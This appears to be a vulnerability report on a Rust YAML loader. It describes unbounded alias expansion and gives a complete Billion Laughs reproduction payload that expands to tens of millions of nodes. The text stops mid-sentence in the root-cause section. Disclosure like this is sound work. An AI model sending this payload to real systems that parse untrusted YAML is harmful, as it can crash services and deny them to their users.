Summary
YamlLoader performs unconditional deep cloning of anchor subtrees when resolving aliases.
There is no limit on the number of aliases, the depth of expansion, or the total number of nodes produced.
This makes any application that parses untrusted YAML susceptible to a Billion Laughs (alias bomb) attack: a ~100-byte input can produce hundreds of millions of in-memory nodes, exhausting RAM and CPU.
Reproduction
a: &a ["lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: [*h,*h,*h,*h,*h,*h,*h,*h,*h]
Parsing this with YamlOwned::load_from_str will attempt to allocate approximately 9^8 (~43 million) String nodes.
On most systems this will OOM-kill the process or hang for many seconds before doing so.
Root Cause
In src/loader.rs, the Event::Alias(id) arm clones the already-expanded subt
📅 Opened Mar 28, 2026💬 1 comment